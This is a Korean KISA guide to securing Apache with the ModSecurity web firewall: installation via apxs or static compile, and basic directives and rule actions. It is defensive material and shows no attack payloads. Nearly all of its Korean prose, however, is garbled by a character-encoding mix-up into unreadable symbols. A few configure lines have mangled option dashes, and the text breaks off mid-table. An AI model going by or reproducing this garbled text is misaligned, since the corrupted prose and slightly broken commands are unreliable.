ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼¹ö º¸¾È KISA´Â º» ¹®¼¿¡¼ ¾ð±ÞÇÑ modsecurity ¹× ÇØ´ç µµ±¸ °³¹ß»çÀÎ ThinkingStone»ç¿Í ¾î¶°ÇÑ °ü°èµµ ¾øÀ¸¸ç, ±¹³» À¥ ÇØÅ· ÇÇÇØ ¿¹¹æÀ» À§ÇØ °ø°³ À¥¹æȺ®ÀÎ modsecurity¸¦ º¸¾È Âü°í¿ëÀ¸·Î ¼Ò°³ÇÕ´Ï´Ù. 1. °³¿ä ModSecurity´Â Apache À¥ ¼¹ö¸¦ À§ÇÑ ¿ÀÇ ¼Ò½º À¥ ¹æȺ®ÀÌ´Ù.
ModSecurity´Â ¼Ò½ºÀÇ Àç»ç¿ë ¹× Àç»ý»êµÈ ÇÁ·Î±×·¥ÀÇ ¼Ò½º °ø°³ Á¶°ÇÀÇ GNU GPL ¶óÀ̼¾½º¸¦ µû¸£´Â °ø°³ ¹öÀü°ú ModSecurityÀÇ °³¹ß»çÀÎ Thinking StoneÞäÀÇ »ó¾÷¿ë ¹öÀüÀÌ Àִµ¥ º» °í¿¡¼´Â °ø°³ ¹öÀüÀ» ÀÌ¿ëÇÑ ¼³Ä¡ ¹× ¿î¿µ ¹æ¹ýÀ» ¾Ë¾Æº»´Ù.
ModSecurity´Â O¡¯Reilly»ç¿¡¼ Ãâ°£ÇÑ "Apache Security"¶ó´Â Ã¥À» ¾´ Ivan Ristic°¡ °³¹ßÇÑ Åø·Î½á, ¼³Ä¡ ¹× Â÷´Ü Rule ¼³Á¤ ÀÎÅÍÆäÀ̽º°¡ ºÒÆíÇÏ´Ù´Â ´ÜÁ¡Àº ÀÖÁö¸¸ °ø°ÝÂ÷´Ü ±â´ÉÀº »ó´çÈ÷ ¿ì¼öÇÏ´Ù. Apache´Â Áß¼Ò±â¾÷À̳ª À¥È£½ºÆþ÷ü¿¡¼ ¸¹ÀÌ »ç¿ëÇÏ°í ÀÖ´Â °ø°³ À¥¼¹ö·Î½á, À̵é Áß¼Ò±â¾÷¿¡ °í°¡ÀÇ »ó¿ë À¥¹æȺ® ¼³Ä¡°¡ ¾î·Á¿î °æ¿ì°¡ ¸¹´Ù. ÀÌ °æ¿ì ModSecurity´Â ´Ù¾çÇÑ À¥°ø°ÝÀ» È¿°úÀûÀ¸·Î ¸·´Âµ¥ ¸¹Àº µµ¿òÀ» ÁÙ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸, ´Ù¼öÀÇ À¥¼¹ö¸¦ ¿î¿µÇÏ´Â ´ë±Ô¸ð ±â¾÷À̳ª º¹ÀâÇÑ À¥ ȯ°æÀ» °¡Áø ±â¾÷ÀÇ °æ¿ì ÀÎÅÍÆäÀ̽º ¹× ±â¼úÁö¿ø Ãø¸é¿¡¼ º¸´Ù ¿ì¼öÇÑ »ó¿ë À¥ ¹æȺ® µµÀÔÀ» ±Ç°íÇÑ´Ù.
º» °í¿¡¼´Â °ø°³¿ë ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼¹öÀÇ º¸¾È °È¹æ¾ÈÀ» »ìÆ캸°í, ƯÈ÷±¹³»¿¡¼ ȨÆäÀÌÁö º¯Á¶»ç°í¿¡ ÀÌ¿ëµÇ°í ÀÖ´Â PHP Injection °ø°Ý¿¡ ´ëÀÀÇϱâ À§ÇÏ¿© ModSecurity¿¡¼ ¾î¶»°Ô ¼³Á¤ÇØ¾ß ÇÒÁö ÁßÁ¡ÀûÀ¸·Î »ìÆ캸°í, À¥¼¹öÀÇ °¡Àå ÀϹÝÀûÀÎ °ø°ÝÀÎ SQL Injection, XSS µî ´Ù¾çÇÑ À¥ °ø°Ý¿¡ ´ëÇÑ ¹æ¾î ¹æ¹ýµµ »ìÆ캸µµ·Ï ÇÑ´Ù.
ÀÌ ÅøÀº À¥ °ø°Ý¿¡ ´ëÇÑ Ä§ÀÔŽÁö ¹× ħÀÔ¹æÁö ±â´ÉÀ» Ãß°¡ÇØ ÁÖ´Â ¾ÆÆÄÄ¡ À¥¼¹öÀÇ ÇϳªÀÇ ¸ðµâ·Î µ¿ÀÛÇÑ´Ù. À¥ Ŭ¶óÀ̾ðÆ®¿Í ¾ÆÆÄÄ¡ À¥ ¼¹ö »çÀÌ¿¡ ModSecurity°¡ Á¸ÀçÇÏ¿© Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ ¾ÇÀÇÀûÀÎ Á¢¼Ó¿äûÀÌ ¹ß°ßµÇ¸é °ø°ÝÂ÷´Ü, ·Î±ë µî »çÀü¿¡ Á¤ÀÇµÈ ÇàÀ§¸¦ ¼öÇàÇÑ´Ù. ´Ù¸¥ ¾ÆÆÄÄ¡ ¸ðµâ°ú ¸¶Âù°¡Áö·Î ModSecurity¸¦ ¾ÆÆÄÄ¡ÀÇ ÇÑ ºÎºÐÀ¸·Î ¼³Ä¡ÇÒ ¼ö ÀÖÀ¸¸ç, Á¤»óÀûÀ¸·Î ¼³Ä¡µÇ¾úÀ» °æ¿ì ModSecurityÀÇ Ãß°¡ÀûÀΠ󸮷κÎÅÍ ¹ß»ýµÇ´Â ¿À¹öÇì´õ´Â °ÅÀÇ ¾ø´Ù.
ModSecurityÀÇ ÁÖ¿ä Ư¡Àº ´ÙÀ½°ú °°´Ù. o ¿äû(request) ÇÊÅ͸µ - Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ À¥¿äûÀÌ µé¾î¿Ã ¶§ À¥¼¹ö ¶Ç´Â ´Ù¸¥ ¸ðµâµéÀÌ Ã³¸®Çϱâ Àü¿¡ ModSecurity°¡ ¿äû ³»¿ëÀ» ºÐ¼®ÇÏ¿© »çÀü¿¡ ÇÊÅ͸µÇÑ´Ù.
o ¿ìȸ ¹æÁö ±â¼ú - °æ·Î¿Í ÆĶó¹ÌÅ͸¦ ºÐ¼®Çϱâ Àü¿¡ Á¤±ÔȽÃÄÑ ¿ìȸ °ø°ÝÀ» Â÷´ÜÇÑ´Ù. - Áï, ¡°//¡±, ¡°\/¡±, ¡°.¡±, ¡°%00¡± µî ¿ìȸ °ø°Ý¿ë ½ºÆ®¸µÀ» Á¦°ÅÇÏ°í, ÀÎÄÚµùµÈ URLÀ» µðÄÚµùÇÑ´Ù.
o HTTP ÇÁ·ÎÅäÄÝ ÀÌÇØ - ¿£ÁøÀÌ HTTP ÇÁ·ÎÅäÄÝÀ» ÀÌÇØÇϱ⠶§¹®¿¡ ¾ÆÁÖ Àü¹®ÀûÀÌ°í ¹Ì¼¼ÇÑ ÇÊÅ͸µÀ» ¼öÇàÇÒ ¼ö ÀÖ´Ù.
o POST ÆäÀ̷εå(payload) ºÐ¼® - GET ¹æ½Ä »Ó¸¸ ¾Æ´Ï¶ó POST ¸Þ¼Òµå¸¦ »ç¿ëÇؼ Àü¼ÛµÇ´Â ÄÁÅÙÃ÷µµ °¡·Îä¾î ºÐ¼®ÇÒ ¼ö ÀÖ´Ù. o °¨»ç ·Î±ë - POST¸¦ Æ÷ÇÔÇÏ¿© ¸ðµç ¿äûÀÇ ¸ðµç »ó¼¼ÇÑ ºÎºÐµé±îÁö ÃßÈÄ ºÐ¼®À» À§Çؼ ·Î±ëµÉ ¼ö ÀÖ´Ù. - MosSecurity¿¡¼ Â÷´Ü±â´ÉÀ» ºñÈ°¼ºÈ½ÃŲ ÈÄ, °·ÂÇÑ ·Î±ë ±â´É¸¸À¸·Î ħÀÔŽÁö ½Ã½ºÅÛ ¿ªÇÒÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù.
o HTTPS ÇÊÅ͸µ - ¿£ÁøÀº À¥¼¹ö¿¡ ÀÓº£µðµåµÇ¾î Àֱ⠶§¹®¿¡ º¹È£È ÇÑ ÈÄ¿¡ ¿äû µ¥ÀÌÅÍ¿¡ Á¢±ÙÇÏ¿© HTTPS¸¦ ÅëÇÑ °ø°Ýµµ ÇÊÅ͸µÇÒ ¼ö ÀÖ´Ù.
2. ModSecurity ¼³Ä¡ ¸ÕÀú º» °í¿¡¼´Â ´ÙÀ½ ȯ°æ¿¡¼ ModSecurity¸¦ ¼³Ä¡ÇÏ¿© Å×½ºÆ®ÇÏ¿´´Ù.
o Ç÷§Æû : Linux 2.6.8-2-686-smp o À¥¼¹ö : Apache 2.2.0 o ModSecurity ¼Ò½ºÄÚµå µð·ºÅ丮 : /usr/local/modsecurity-apache-1.9.2 o ¾ÆÆÄÄ¡ ¼Ò½ºÄÚµå µð·ºÅ丮 : /usr/local/httpd-2.2.0 o ¾ÆÆÄÄ¡ À¥¼¹ö Ȩ µð·ºÅ丮 : /usr/local/apache2 | ModSecurity´Â 2006³â 2¿ù ÇöÀç ¾ÈÁ¤È ¹öÀüÀº 1.9.2ÀÌ´Ù. ÀÌ º¸´Ù ÃֽŠ±â´ÉÀ» °¡Áø ¹öÀüÀ» »ç¿ëÇÒ ¼ö ÀÖÀ¸³ª ¾ÆÁ÷ ¾ÈÁ¤¼ºÀÌ º¸ÀåµÇÁö ¾Ê¾ÒÀ¸¹Ç·Î °¡±ÞÀû ¾ÈÁ¤È ¹öÀü »ç¿ëÀ» ±Ç°íÇÑ´Ù. ¼³Ä¡¹æ¹ýÀº Å©°Ô 2°¡Áö°¡ Àִµ¥ ¼Ò½º¸¦ ÅëÇØ ¼³Ä¡ÇÏ´Â ¹æ¹ý°ú ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ÅëÇØ ¼³Ä¡ÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù. ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡´Â À©µµ¿ìÁî ¹öÀüÀÇ ¾ÆÆÄÄ¡¸¦ »ç¿ëÇϰųª ÄÄÆÄÀÏ·¯°¡ ¾øÀ» °æ¿ì¿¡ »ç¿ëÇϸé ÁÁ´Ù. º»°í¿¡¼´Â ¼Ò½º¸¦ ÅëÇÑ ¼³Ä¡ ¹æ¹ýÀ» ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. [ModSecurity ÇÁ·Î±×·¥ ´Ù¿î·Îµå] ¼³Ä¡ÇÏ°íÀÚ ÇÏ´Â ¾ÈÁ¤È ¹öÀüÀÎ 1.9.2´Â ´ÙÀ½ »çÀÌÆ®¿¡¼ ´Ù¿î·Îµå ¹ÞÀ» ¼ö ÀÖ´Ù. http://www.modsecurity.org/download/modsecurity-apache-1.9.2.tar.gz ´Ù¿î·Îµå ¹ÞÀº ÈÄ ´ÙÀ½ÀÇ ¸í·ÉÀ¸·Î ¾ÐÃà ¹× ÆÐŰ¡À» ÇØÁ¦ÇÑ´Ù. # tar xvzf modsecurity-apache-1.9.2.tar.gz
# cd modsecurity-apache-1.9.2; ls -al
linux-web:/usr/local# cd modsecurity-apache-1.9.2; ls -al
total 84
drwxr-xr-x 6 1000 1000 4096 2006-01-17 03:36 .
drwxrwsr-x 12 root staff 4096 2006-02-22 16:07 ..
drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache1
drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache2
-rw-r--r-- 1 1000 1000 26381 2006-01-16 21:31 CHANGES
drwxr-xr-x 3 1000 1000 4096 2006-01-17 03:37 doc
-rw-r--r-- 1 1000 1000 1811 2006-01-09 21:33 httpd.conf.example-minimal
-rw-r--r-- 1 1000 1000 881 2005-11-01 22:52 INSTALL
-rw-r--r-- 1 1000 1000 17989 2003-05-29 05:36 LICENSE
-rw-r--r-- 1 1000 1000 994 2006-01-09 23:45 README
drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 util
¼Ò½º¸¦ ÅëÇÑ ¼³Ä¡ ¹æ¹ý¿¡µµ À¥¼¹ö Ãʱ⼳ġ½Ã À¥¼¹ö ÀÚü¿¡ ¸ðµâÀ» ¼³Ä¡ÇÏ´Â ¹æ½Ä°ú ¿î¿µµÇ°í ÀÖ´Â À¥¼¹ö¿¡ mod_security.c¸¸À» ÄÄÆÄÀÏÇÏ¿© Æ÷ÇÔ½ÃÅ°´Â µ¿Àû°øÀ¯°´Ã¼(DSO, Dynamic shared object) ¹æ½Ä µî µÎ °¡Áö°¡ ÀÖ´Ù.
[ModSecurity ÇÁ·Î±×·¥ ¼³Ä¡]
¢¹ DSO ¹æ½Ä ¼³Ä¡
DSO ¹æ½ÄÀº ¾ÆÆÄÄ¡ À¥¼¹öÀÇ À缳ġ °úÁ¤¾øÀÌ ±âÁ¸¿¡ ¿î¿µµÇ°í ÀÖ´Â ¾ÆÆÄÄ¡ À¥¼¹ö¿¡ ¸ðµâÀ» µ¿ÀûÀ¸·Î Ãß°¡ÇÏ´Â ¹æ½ÄÀ̹ǷΠ±âÁ¸¿¡ ¾ÆÆÄÄ¡ À¥¼¹ö¸¦ ÀÌ¹Ì ¿î¿µ ÁßÀÎ ±â°üÀÇ °æ¿ì DSO ¹æ½ÄÀ» ¼±ÅÃÇÏ´Â °ÍÀ» ±ÇÀåÇÑ´Ù. DSO ¹æ½ÄÀ¸·Î ¼³Ä¡ÇÏ´Â °ÍÀº ¾ÆÆÄÄ¡ ¹öÀü¿¡ »ó°ü¾øÀÌ ´ÙÀ½°ú °°ÀÌ ¼³Ä¡ ÇÒ ¼ö ÀÖ´Ù. ¨ç apxs¸¦ ÀÌ¿ëÇÏ¿© ModSecurity ¸ðµâÀ» ÄÄÆÄÀÏÇÏ°í, ¼³Ä¡ÇÏ°í, ¼³Á¤À» ÀÚµ¿À¸·Î º¯°æÇÑ´Ù. # /usr/local/apache2/bin/apxs -cia
/usr/local/modsecurity-apache-1.9.2/apache2/mod_security.c À§ÀÇ ¸í·ÉÀº mod_security.c¸¦ ÄÄÆÄÀÏ ÇÏ°í(-c ¿É¼Ç), °øÀ¯°´Ã¼¸¦ À¥¼¹ö modules µð·ºÅ丮¿¡ ¼³Ä¡ÇÏ°í(-i ¿É¼Ç), ¾ÆÆÄÄ¡ httpd.conf ¼³Á¤ÆÄÀÏ¿¡ ÀûÀýÇÑ LoadModule ÁÙÀ» Ãß°¡(-a ¿É¼Ç)ÇÑ´Ù. Âü°í·Î apxs´Â ¾ÆÆÄÄ¡ À¥¼¹öÀÇ È®Àå¸ðµâÀ» ÄÄÆÄÀÏÇÏ°í ¼³Ä¡ÇÏ´Â µµ±¸·Î½á, ¿©·¯ ¼Ò½º¿Í ¿ÀºêÁ§Æ®ÆÄÀÏÀ» LoadModule Áö½Ã¾î·Î ½ÇÇà ÁßÀÎ ¾ÆÆÄÄ¡ ¼¹ö·Î ÀÐ¾î µéÀÏ ¼ö ÀÖ´Â µ¿Àû°øÀ¯°´Ã¼ (DSO)¸¦ ¸¸µç´Ù. À§ÀÇ °á°ú·Î modules µð·ºÅ丮¿¡ mod_security.so°¡ »ý¼ºµÇ°í httpd.conf ÆÄÀÏ¿¡ ¡°LoadModule security_module modules/mod_security.so¡± ¶óÀÎÀÌ Ãß°¡µÈ´Ù. ¨è À§ÀÇ °úÁ¤À¸·Î ¸ðµâÀÌ Á¤»óÀûÀ¸·Î ¼³Ä¡µÇ¾ú´ÂÁö È®ÀÎÇÑ´Ù. linux-web:/usr/local/apache2/bin# ./httpd -l
Compiled in modules:
core.c
...
mod_security.c
...
mod_so.c
¨é ¾ÆÆÄÄ¡ À¥¼¹ö¸¦ À籸µ¿ÇÑ´Ù. # /bin/apachectl stop
# /bin/apachectl start
¿©±â±îÁö ModSecurityÀÇ ¸ðµâ ¼³Ä¡°¡ ³¡³µÀ¸³ª, ¾ÆÁ÷ ·ê(Rule)¿¡ ´ëÇÑ Á¤ÀǸ¦ ÇÏÁö ¾Ê¾ÒÀ¸¹Ç·Î °ø°ÝÀ» ¹æ¾îÇÏÁö´Â ¸øÇÑ´Ù. À̸¦ ±¸µ¿Çϱâ À§Çؼ´Â ´ÙÀ½ ÀåÀÇ ModSecurity È°¼ºÈ ¹× Rule Á¤ÀǸ¦ À§ÇÑ È¯°æ¼³Á¤À» »ìÆ캸µµ·Ï ÇÏÀÚ. ¢¹ ¼Ò½º ÄÄÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡ DSO ¹æ½ÄÀÌ ¾Æ´Ñ Á¤ÀûÀ¸·Î ¼Ò½º ÄÄÆÄÀÏ µÉ °æ¿ì¿¡´Â ModSecurity ¸ðµâÀÌ À¥¼¹öÀÇ body¿¡ Æ÷ÇÔµÇ°Ô µÈ´Ù. ÀÌ ¹æ¹ýÀº DSO ¹æ½Ä¿¡ ºñÇØ ´Ù¼Ò ½ÇÇà ¼Óµµ°¡ ºü¸£Áö¸¸, ¾ÆÆÄÄ¡ À¥¼¹ö¸¦ ´Ù½Ã »õ·Ó°Ô ¼³Ä¡ÇØ¾ß ÇÏ°í ¼³Ä¡°¡ ¾à°£ º¹ÀâÇÑ ´ÜÁ¡ÀÌ ÀÖ´Ù. ¶ÇÇÑ, ¾ÆÆÄÄ¡ ¹öÀü¿¡ µû¶ó ¼³Ä¡¸¦ À§ÇÑ »çÀü ¼³Á¤À» ´Þ¸® ÇØ ÁÖ¾î¾ß ÇÑ´Ù. <¾ÆÆÄÄ¡ 1.xÀÇ °æ¿ì> $ cd
$ cp /apache1/mod_security.c ./src/modules/extra
$ ./configure --activate-module=src/modules/extra/mod_security -–enable-module=security
<¾ÆÆÄÄ¡ 2.xÀÇ °æ¿ì> $ cd
$ cp /apache2/mod_security.c ./modules/proxy
$ ./configure -enable-security --with-module=proxy:mod_security.c
¾ÆÆÄÄ¡ 1.x ¶Ç´Â ¾ÆÆÄÄ¡ 2.x¿¡¼ À§ÀÇ °úÁ¤À» °ÅÄ£ ÈÄ¿¡, ÀϹÝÀûÀÎ ¾ÆÆÄÄ¡ ÄÄÆÄÀÏ°ú ¼³Ä¡ °úÁ¤À» °ÅÄ¡¸é µÈ´Ù. make make install /usr/local/apache2/bin/apachectl start DSO ¹æ½Ä°ú´Â ´Þ¸® ¼Ò½º ÄÄÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡½Ã¿¡´Â httpd.conf ÆÄÀÏ¿¡ ¾Æ¹«·± ³»¿ëÀÌ Ãß°¡µÇÁö ¾Ê´Â´Ù. DSO ¹æ½Ä°ú ¸¶Âù°¡Áö·Î ModSecurity¸¦ È°¼ºÈ½ÃÅ°±â À§Çؼ´Â ´ÙÀ½ ÀåÀÇ ModSecurity È°¼ºÈ ¹× Rule Á¤ÀǸ¦ À§ÇÑ È¯°æ¼³Á¤ÀÌ ÇÊ¿äÇÏ´Ù. 3. ModSecurity È°¼ºÈ ¹× Rule Á¤ÀÇ
ModSecurity¸¦ ¼³Ä¡ÇÏ¿´´Ù°í Çؼ ¹Ù·Î À¥ ¹æȺ® ±â´ÉÀÌ Àû¿ëµÇ´Â °ÍÀº ¾Æ´Ï´Ù. À̸¦ Àû¿ë½ÃÅ°±â
À§Çؼ´Â ¾ÆÆÄÄ¡ À¥¼¹ö ȯ°æ¼³Á¤ ÆÄÀÏ(httpd.conf)ÀÇ ÅÂ±× ¾È¿¡ ¼³Á¤ Áö½ÃÀÚ(directive)¸¦
Á¤ÀÇÇØ ÁÖ¾î¾ß ÇÑ´Ù.
# mod_security configuration directives
# ...
¶Ç´Â ModSecurity¸¦ À§ÇÑ º°µµÀÇ È¯°æ¼³Á¤ ÆÄÀÏÀ» ¸¸µé°í À̸¦ httpd.conf¿¡ Æ÷ÇÔ½Ãų ¼ö ÀÖ´Ù.
¸¸¾à "/conf/modsecurity.conf" ¶ó´Â À̸§À¸·Î ModSecurity À¥¹æȺ®À» À§ÇÑ È¯°æ
¼³Á¤ ÆÄÀÏÀ» º°µµ·Î ¸¸µé¾úÀ» °æ¿ì httpd.conf ÆÄÀÏ¿¡ ´ÙÀ½°ú °°ÀÌ ÀÌ ÆÄÀÏÀ» Æ÷ÇÔ½ÃÄÑ ÁÙ ¼ö ÀÖ´Ù.
Include conf/modsecurity.conf
ModSecurity¸¦ À§ÇÑ RuleÀÌ ´Ù¾çÇÏ°í, ³»¿ÜºÎ À¥ ȯ°æ¿¡ µû¶ó Rule º¯°æÀÌ Áö¼ÓÀûÀ¸·Î ÇÊ¿äÇÏ¿©
º°µµÀÇ ÆÄÀÏÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ Á» ´õ Æí¸®ÇÒ °ÍÀ¸·Î »ý°¢µÈ´Ù.
ModSecurity´Â ´Ù¾çÇÑ ±â´ÉÀÇ ¼³Á¤À» À§Çؼ »ó´çÈ÷ ¸¹Àº Áö½ÃÀÚµéÀÌ Á¸ÀçÇϴµ¥ À̸¦ ÀÏÀÏÀÌ Á÷
Á¢ ÀÛ¼ºÇÏ¿© Àû¿ëÇϱâ´Â ½±Áö ¾ÊÀ» °ÍÀÌ´Ù. µû¶ó¼ ¾Æ·¡ ModSecurity ȨÆäÀÌÁö¿¡¼ Á¦°øÇÏ´Â Rule
templateÀ» ÀÚ½ÅÀÇ À¥ ȯ°æ¿¡ ¸Â°Ô Ä¿½ºÆ®¸¶ÀÌ¡ ÇÏ´Â °ÍÀÌ º¸´Ù ¿ëÀÌÇÒ °ÍÀÌ´Ù.
http://www.modsecurity.org/projects/rules/index.html ÀÌ »çÀÌÆ®¿¡´Â ±âº»ÀûÀÎ Rule°ú ÇÔ²² PHP ȯ°æ, Ãâ·Â ÇÊÅÍ µî ¸î °¡Áö Rule template°¡ ÀÖÀ¸¹Ç·Î À̵éÀ» Âü°íÇØ º¸ÀÚ. ¶Ç´Â º» °íÀÇ ºÎ·Ï¿¡ ±âº»ÀûÀÎ Apache+PHP+MySQL ȯ°æ¿¡ ÀûÇÕÇÑ Rule ¿¹¸¦ Á¦½ÃÇÏ°í ÀÖÀ¸¹Ç·Î À̸¦ Âü°íÇØ º¸±â ¹Ù¶õ´Ù.
¿©±â¿¡¼´Â ÅÂ±× ¾È¿¡ µé¾î°¥ Áö½ÃÀÚµé Áß ±âº»ÀûÀÎ Áö½ÃÀÚµéÀ» ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. »ó´çÈ÷ ´Ù¾çÇÑ Áö½ÃÀÚ°¡ ÀÖÀ¸¹Ç·Î ÀÚ¼¼ÇÑ °ÍÀº ¾Æ·¡ ¸Å´º¾óÀ» Âü°íÇØ º¸±â ¹Ù¶õ´Ù. http://www.modsecurity.org/documentation/modsecurity-apache-manual-1.9.2.pdf °¡. ±âº» ȯ°æ¼³Á¤
SecFilterEngine On
ModSecurity ±â´ÉÀ» È°¼ºÈ(enable) ½ÃŲ´Ù. o On : ModSecurity ±â´É È°¼ºÈ o Off : ModSecurity ±â´É ºñÈ°¼ºÈ ¡Ø ModSecurity Á¦°ÅÇÒ °æ¿ì¿¡´Â SecFilterEngine Áö½ÃÀÚ¸¦ ¡°Off"·Î ¼³Á¤ | SecFilterScanPOST On
POST ¸Þ¼ÒµåÀÇ payload¸¦ Á¡°ËÇÑ´Ù. ModSecurity´Â ´ÙÀ½°ú °°Àº 2°¡Áö ŸÀÔÀ¸·Î ÀÎÄÚµùµÈ Request body¸¦ Áö¿øÇÑ´Ù. o application/x-www-form-urlencoded (Form µ¥ÀÌÅÍ Àü¼Û½Ã »ç¿ë) o multipart/form-data (ÆÄÀÏ Àü¼Û½Ã »ç¿ë) ´Ù¸¥ ÀÎÄÚµù ŸÀÔÀº ´ëºÎºÐÀÇ À¥ ¾îÇø®ÄÉÀ̼ǿ¡¼ »ç¿ëµÇÁö´Â ¾Ê´Â´Ù. | SetEnvIfNoCase Content-Type \ "^multipart/form-data;" "MODSEC_NOPOSTBUFFERING=Do not buffer file uploads"
°¢ ¿äûº°·Î POST payload Á¡°ËÀ» ºñÈ°¼ºÈÇÒ ¼ö ÀÖ´Ù. ȯ°æº¯¼öMODSEC_NOPOSTBUFFERINGÀÌ Á¤ÀǵǾî ÀÖÀ¸¸é POST payload ¹öÆÛ¸µÀ» ÇÏÁö ¾Ê´Â´Ù. | SecFilterDefaultAction "deny,log,status:404"
·êÀÌ ¿äû¿¡ ÀÏÄ¡Çϸé Çϳª ¶Ç´Â ±× ÀÌ»óÀÇ ÇàÀ§(action)°¡ ¹ß»ýµÈ´Ù. °¢°¢ÀÇ ÇÊÅͺ°·Î ÇàÀ§¸¦ Á¤ÀÇÇÒ ¼ö ÀÖÁö¸¸ ¸ðµç ÇÊÅ͵éÀ» À§ÇÑ ±âº» ÇàÀ§ ÁýÇÕÀ» Á¤ÀÇÇϸé Æí¸®ÇÏ´Ù. ¸ðµç ÇÊÅÍ¿¡ Àû¿ëµÉ ¼ö ÀÖ´Â µðÆúÆ® ÇàÀ§´Â SecFilterDefaultAction Áö½ÃÀÚ·Î Á¤ÀÇÇÒ ¼ö ÀÖ´Ù. À§ÀÇ ¿¹´Â °¢ ·ê¿¡ ÀÏÄ¡ÇÒ°æ¿ì Á¢¼Ó¿äûÀ» Â÷´ÜÇÏ°í, ·Î±×¸¦ ³²±â°í, »óÅÂÄÚµå 404 º¸³»´Â ¿¹ÀÌ´Ù. ÇÏÁö¸¸, ModSecurity¸¦ óÀ½ ¼³Ä¡ÇÑ ÈÄ ¼³Á¤À» Æ©´×ÇÏ´Â °úÁ¤¿¡¼´Â ¡°log,pass"¿Í °°ÀÌ ·Î±×¸¸ ³²±â°í ½ÇÁ¦ Â÷´ÜÇÏÁö ¾Ê°Ô ÇÒ ¼öµµ ÀÖ´Ù. ¿Ö³ÄÇϸé Á¤»óÀûÀÎ À¥ ¿äûÀÌ Â÷´ÜµÉ ¼ö ÀÖÀ¸¹Ç·Î ¸ÕÀú ·Î±×¿¡¼ ÀÌ·¯ÇÑ Á¤»óÀûÀÎ ¿äûÀÌ ÇÊÅÍ¿Í ÀÏÄ¡ÇÏ¿© Â÷´ÜµÉ ¼ö ÀÖ´ÂÁö °ËÁõÇÒ ÇÊ¿ä°¡ ÀÖ´Ù. | ¾Õ¼ SecFilterDefaultAction Áö½ÃÀÚ·Î ÇÊÅ͸µ ±ÔÄ¢¿¡ ÀÏÄ¡ÇÒ °æ¿ì ±âº»ÀûÀ¸·Î ¾î¶² ÇàÀ§(Action)¸¦ ÇÏ°Ô ÇÒ °ÍÀÎÁö¿¡ ´ëÇØ °£´ÜÈ÷ ¾Ë¾Æº¸¾Ò´Ù. ±×·¯¸é ÇÊÅ͸µ ±ÔÄ¢¿¡ ÀÏÄ¡ÇÒ °æ¿ì ÀϾ ¼ö ÀÖ´Â ÇàÀ§ÀÇ Á¾·ù¿¡ ´ëÇØ ¾Ë¾Æº¸ÀÚ. ¸ÕÀú, ÇàÀ§´Â ´ÙÀ½°ú °°Àº 3°¡Áö Á¾·ù·Î ³ª´ ¼ö ÀÖ´Ù.
±¸ ºÐ |
¼³ ¸í |
Primary action |
¿äûÀ» °è¼Ó ÁøÇàÇÒ °ÍÀÎÁö Â÷´ÜÇÒ °ÍÀÎÁö¸¦ °áÁ¤ÇÏ´Â °ÍÀ¸·Î, deny, pass,redirect Áß Çϳª¸¦ ¼±ÅÃÇÑ´Ù. |
Secondary actions |
Primary action¿¡ ÀÇÇÑ °áÁ¤°ú´Â µ¶¸³ÀûÀ¸·Î ¼öÇàµÇ´Â °ÍÀ¸·Î exec¿Í °°Àº ¸î °³ÀÇ secondary actionµéÀÌ ÀÖ´Ù. |
Flow actions |
ÇÊÅÍ ·êÀÇ È帧À» º¯°æÇÒ ¼ö ÀÖ´Â °ÍÀ¸·Î ´Ù¸¥ ·ê·Î Á¡ÇÁÇÏ°Ô Çϰųª ¸î °³ÀÇ ·êÀ» °Ç³Ê ¶ç°Ô ÇÒ ¼ö ÀÖ´Ù. Flow action¿¡´Â chain°ú skipÀÌ ÀÖ´Ù. | ¾Õ¼ SecFilterDefaultAction Áö½ÃÀÚ¿¡ ÀÇÇÑ ±âº» Àû¿ë actionÀÇ ¿¹¿¡¼´Â ÄÞ¸¶(,)·Î ±¸ºÐµÈ 3°³ÀÇ actionÀ» Á¤ÀÇÇÏ°í ÀÖ´Ù. ÃëÇÒ ¼ö ÀÖ´Â ´ëÇ¥ÀûÀÎ ÇàÀ§´Â ´ÙÀ½ Ç¥¿Í °°´Ù.
Çà À§ |
¼³ ¸í |
pass |
ÇÊÅÍ¿¡ ÀÏÄ¡ÇÒ °æ¿ì ¿äûÀ» ±×³É Çã¿ëÇÑ´Ù. ÀÌ actionÀº ¾Æ¹«·± ÇàÀ§¸¦ ÇÏÁö ¾Ê°í ±×³É ·Î±×¸¸ ³²°Ü ħÀÔÀ» ¸ð´ÏÅ͸µÇϰųª Ãʱâ ȯ°æ¼³Á¤½Ã À¯¿ëÇÒ ¼ö ÀÖ´Ù. ¿¹) SecFilter KEYWORD "log,pass" |
allow |
pass¿¡ ºñÇØ Á»´õ °·ÂÇÑ ¹öÀüÀ¸·Î ÀÌ actionÀÌ ¼öÇàµÈ ÈÄ ´Ù¸¥ ÇÊÅÍ´Â Àû¿ë½ÃÅ°Áö ¾Ê°í °ð¹Ù·Î ¿äûÀ» Çã¿ëÇÏ°Ô µÈ´Ù. ¿¹) SecFilterSelective REMOTE_ADDR "^192\.168\.2\.99$" allow À§ÀÇ ¿¹´Â °ü¸®ÀÚ ÄÄÇ»ÅÍ(192.168.2.99)¿¡¼ÀÇ Á¢¼ÓÀº Ç×»ó Çã¿ëÇϵµ·Ï ÇÏ°í ÀÖ´Ù. |
deny |
ÇÊÅÍ°¡ ÀÏÄ¡ÇÒ °æ¿ì ¿äû 󸮸¦ Â÷´ÜÇÑ´Ù. »óÅ action(status)ÀÌ ¸í½ÃÀûÀ¸·Î °°ÀÌ »ç¿ëµÇÁö ¾ÊÀ¸¸é ModSecurity´Â ¡°HTTP 500 error code"¸¦ ¹ÝȯÇÑ´Ù. |
status |
